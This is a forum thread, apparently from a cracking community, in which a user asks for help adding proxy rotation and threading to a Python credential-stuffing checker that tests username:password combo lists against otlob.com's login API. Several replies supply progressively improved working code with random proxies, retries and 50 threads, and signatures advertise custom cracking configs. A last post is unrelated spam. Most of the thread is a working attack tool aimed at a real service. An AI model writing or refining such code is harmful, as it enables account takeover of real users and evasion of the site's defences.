ALERT!
Click here to register with a few steps and explore all our cool stuff we have to offer!

Jump to content



Photo

[Python] Help with code


  • Please log in to reply
[Python] Help with code

#1

Mokq
Mokq
    Online
    55
    Rep
    656
    Likes

    Veteran

Posts: 3131
Threads: 303
Joined: Jul 06, 2018
Credits: 0

Five years registered
#1

i wish if someone can help me to add proxy or make this little checker working with proxies and threading, i tried a lot to add proxies but i can't!

also i'm ready to pay if someone wanna make some money from this help

import requests
import json

a = open("combo.txt","r")
stop = "defualt"
file = [s.rstrip()for s in a.readlines()]
for lines in file:
    combo = lines.split(":")
    data ={"username":combo[0], 
    "password":combo[1], 
    "rememberMe": "false"
    }
    url = "https://www.otlob.com/apiweb/v1/account/login"
    headers = {"content-type": "application/json;charset=UTF-8",
    "accept": "application/json, text/plain, */*",
    "accept-encoding": "gzip, deflate, br",
    "accept-language": "en-US",
    "origin": "https://www.otlob.com",
    "referer": "https://www.otlob.com/",
    "sec-fetch-dest": "empty",
    "sec-fetch-mode": "cors",
    "sec-fetch-site": "same-origin",
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"
    }
    try:
        rsp = requests.post(url, json=data, headers=headers)
        #print(rsp.text)
        if "Sorry, we couldn’t log you in, your email or password may be incorrect or expired. Please try again, or reset your password" in rsp.text:
            print(f"Fail{combo[0],combo[1]}")

        else:
            print(f"Success{combo[0],combo[1]}")

    except:
       break
    if stop in combo[0]:
       break 

  • 0

#2

Line
Line
    Offline
    202
    Rep
    156
    Likes

    qt3.14

Posts: 257
Threads: 63
Joined: Aug 21, 2019
Credits: 0

Four years registered
#2

added i can provide some help on discord


  • 1

Discord: Waifu#5705
 

 

 

 

 

 

QTs <3 : JustRain Tony Agile Eminem 7SooN LuffySlave Snorlax Timo ChefCook Armani ciipher Hentai Lokky Sikoo
Bulli: D1NO TOni

 


#3

hopsin22
hopsin22
    Offline
    0
    Rep
    0
    Likes

    New Member

  • PipPip
Posts: 13
Threads: 0
Joined: Jun 29, 2020
Credits: 0
Three years registered
#3

added i can provide some help on discord

can you make script of freebitco.in


  • 0

#4

meowtit
meowtit
    Offline
    69
    Rep
    310
    Likes

    429

Posts: 539
Threads: 179
Joined: Jul 13, 2017
Credits: 0

Six years registered
#4

 

i wish if someone can help me to add proxy or make this little checker working with proxies and threading, i tried a lot to add proxies but i can't!

also i'm ready to pay if someone wanna make some money from this help

import requests
import json

a = open("combo.txt","r")
stop = "defualt"
file = [s.rstrip()for s in a.readlines()]
for lines in file:
    combo = lines.split(":")
    data ={"username":combo[0], 
    "password":combo[1], 
    "rememberMe": "false"
    }
    url = "https://www.otlob.com/apiweb/v1/account/login"
    headers = {"content-type": "application/json;charset=UTF-8",
    "accept": "application/json, text/plain, */*",
    "accept-encoding": "gzip, deflate, br",
    "accept-language": "en-US",
    "origin": "https://www.otlob.com",
    "referer": "https://www.otlob.com/",
    "sec-fetch-dest": "empty",
    "sec-fetch-mode": "cors",
    "sec-fetch-site": "same-origin",
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"
    }
    try:
        rsp = requests.post(url, json=data, headers=headers)
        #print(rsp.text)
        if "Sorry, we couldn’t log you in, your email or password may be incorrect or expired. Please try again, or reset your password" in rsp.text:
            print(f"Fail{combo[0],combo[1]}")

        else:
            print(f"Success{combo[0],combo[1]}")

    except:
       break
    if stop in combo[0]:
       break 

Adding proxy support to python requests is simple. 

proxies = {
 "http": "http://10.10.10.10:8000",
 "https": "http://10.10.10.10:8000",
}
proxy_with_auth = {
 "http": "http://username:[email protected]:8000",
 "https": "http://username:[email protected]:8000",
}
r = requests.get(“http://google.com”, proxies=proxies)

Also if you're going to be using proxies then you should import Timeout from requests like so "from requests import Timeout"

Then use it for the request kwargs.

rsp = requests.post(url, json=data, headers=headers, timeout=2)

This will cause an exception.

 

Simple way to create threads.

https://pymotw.com/2/threading/


  • 1

Configs have been removed from anon files, Contact me if you need the links or want some custom configs made. 

Android configs only


#5

meowtit
meowtit
    Offline
    69
    Rep
    310
    Likes

    429

Posts: 539
Threads: 179
Joined: Jul 13, 2017
Credits: 0

Six years registered
#5
import requests
from requests import Timeout
import random
def login(username,password,proxy):
    data ={"username":username, 
    "password":password, 
    "rememberMe": "false"
    }
    url = "https://www.otlob.com/apiweb/v1/account/login"
    headers = {"content-type": "application/json;charset=UTF-8",
               "accept": "application/json, text/plain, */*",
               "accept-encoding": "gzip, deflate, br",
               "accept-language": "en-US",
               "origin": "https://www.otlob.com",
               "referer": "https://www.otlob.com/",
               "sec-fetch-dest": "empty",
               "sec-fetch-mode": "cors",
               "sec-fetch-site": "same-origin",
               "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"}
    try:
        rsp = requests.post(url, json=data, headers=headers,timeout=2)
    except:
        return None
        #print(rsp.text)
    
    if "Sorry, we couldn’t log you in, your email or password may be incorrect or expired. Please try again, or reset your password" in rsp.text:
        print(f"Fail{username,password}")
        return False
    #You should make this a success key else you will have false positives if you don't
    else:
        print(f"Success{username,password}")
        return True
#Load text and replace errors with "spaces", wthout using error kwarg it will cause an exception
with open("combo.txt","r",encoding="utf8",errors="replace") as combo_file:
    combo_text = combo_file.read()
    combos = combo_text.splitlines()

    #Remove dupes
    combos = list(dict.fromkeys(combos))
#Load proxies
with open("proxies.txt","r",encoding="utf8",errors="replace") as proxy_file:
    proxy_text = proxy_file.read()
    proxies = proxy_text.splitlines()

    #Remove dupes
    proxies = list(dict.fromkeys(proxies))
print(f"Loaded combos {len(combos)}")
print(f"proxies combos {len(proxies)}")

def requests_proxy(proxy):
    proxy_parts = proxy.split(":")
    #No auth
    if len(proxy_parts) == 2:
        proxy = {"http": f"http://{proxy_parts[0]}:{proxy_parts[1]}",
                 "https": f"http://{proxy_parts[0]}:{proxy_parts[1]}"}
        return proxy
    #Auth
    elif len(proxy_parts) == 4:
        proxy = {"http": f"http://{proxy_parts[0]}:{proxy_parts[1]}@{proxy_parts[2]}:{proxy_parts[3]}",
                 "https": f"http://{proxy_parts[0]}:{proxy_parts[1]}@{proxy_parts[2]}:{proxy_parts[3]}"}
        return proxy
    else:
        pass
#Loop the combos
for combo in combos:
    proxy = requests_proxy(random.choice(proxies))
    #Valid flag
    valid_combo = False 
    try:
        #Only split the first instance of ":"
        username,password = combo.split(":",1)
        valid_combo = True
    except:
        #Some combos will not be valid and cause an exception if they can't be split or unpacked
        pass
    if valid_combo:
        login(username,password,proxy)

Read the comments in the code. You should change the success key to something more unique.


  • 1

Configs have been removed from anon files, Contact me if you need the links or want some custom configs made. 

Android configs only


#6

ogMeowz
ogMeowz
    Offline
    0
    Rep
    5
    Likes

    New Member

Posts: 24
Threads: 0
Joined: Jun 03, 2020
Credits: 0
Three years registered
#6

I modified the final code to add checking on retries for combos and basic threading.

import random
import requests
import threading

THREADS = 50

def login(worker, proxy):

    combo = worker.split(':')

    url = "https://www.otlob.com/apiweb/v1/account/login"

    data = {
        "username":combo[0], 
        "password":combo[1], 
        "rememberMe": "false"
        }

    headers = {
        "content-type": "application/json;charset=UTF-8",
        "accept": "application/json, text/plain, */*",
        "accept-encoding": "gzip, deflate, br",
        "accept-language": "en-US",
        "origin": "https://www.otlob.com",
        "referer": "https://www.otlob.com/",
        "sec-fetch-dest": "empty",
        "sec-fetch-mode": "cors",
        "sec-fetch-site": "same-origin",
        "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"
        }

    try:

        r = requests.post(url, json=data, headers=headers, proxies=proxy, timeout=10)

    except:
        combos.append(worker)
        return

    if 'Sorry, we couldn’t log you in' in r.text:
        print('[-] {}'.format(worker))

    else:
        print('[+] {}'.format(worker))

def worker():

    while len(combos) > 0:
        worker = combos.pop()
        proxy = requests_proxy(random.choice(proxies))

        login(worker, proxy)

with open("combo.txt", "r", encoding="utf8", errors="replace") as combo_file:
    combo_text = combo_file.read()
    combos = combo_text.splitlines()

    combos = list(dict.fromkeys(combos))

print('[+] Combos {}'.format(len(combos)))

with open("proxies.txt", "r", encoding="utf8", errors="replace") as proxy_file:
    proxy_text = proxy_file.read()
    proxies = proxy_text.splitlines()

    proxies = list(dict.fromkeys(proxies))

print('[+] Proxies {}'.format(len(proxies)))

def requests_proxy(proxy):
    proxy_parts = proxy.split(":")

    if len(proxy_parts) == 2:
        proxy = {"http": f"http://{proxy_parts[0]}:{proxy_parts[1]}",
                 "https": f"http://{proxy_parts[0]}:{proxy_parts[1]}"}
        return proxy

    elif len(proxy_parts) == 4:
        proxy = {"http": f"http://{proxy_parts[0]}:{proxy_parts[1]}@{proxy_parts[2]}:{proxy_parts[3]}",
                 "https": f"http://{proxy_parts[0]}:{proxy_parts[1]}@{proxy_parts[2]}:{proxy_parts[3]}"}
        return proxy

    else:
        pass

for _ in range(THREADS):
    
    t = threading.Thread(target=worker(), daemon=True)
    t.start()


t.join()

print('checker completed... press enter to exit')
input()

edit:

 

you could put flags on the combos for splitting, I originally placed the data in the try block, then remembered if it caused an exception this would keep putting the same combo back in the list. you can handle it however you please. I chose not to do it in my example.

 

If you were worried about it, you could just use except the specific exception, and choose to return, Thus leaving it out of the list. To avoid unnecessary code.

 

example:

    try:

        combo = worker.split(':')
        
        data = {
            "username":combo[0], 
            "password":combo[1], 
            "rememberMe": "false"
            }

        r = requests.post(url, json=data, headers=headers, proxies=proxy, timeout=10)
        
    except ValueError:
        return

    except:
        combos.append(worker)
        return

 


Edited by ogMeowz, 06 July 2020 - 06:05 PM.

  • 0

#7

SophieArnold42
SophieArnold42
    Offline
    0
    Rep
    0
    Likes

    Lurker

Posts: 8
Threads: 0
Joined: Jul 29, 2020
Credits: 0
Three years registered
#7

Wow, this is really interesting code. True, I don't really understand programming, but I think that if I knew programming, I could definitely help. I recently bought myself a laptop which I found through https://datasciencer...aptops-in-2020/ and now I think maybe I can start learning programming? Because this profession is quite profitable and in my opinion, if desired, programming can be learned quickly enough. Although probably many can argue with me and say that it is really difficult and maybe they will be right. Although I believe that I can learn programming and no one can stop me.


Edited by SophieArnold42, 05 September 2020 - 05:00 PM.

  • 0


 Users browsing this thread: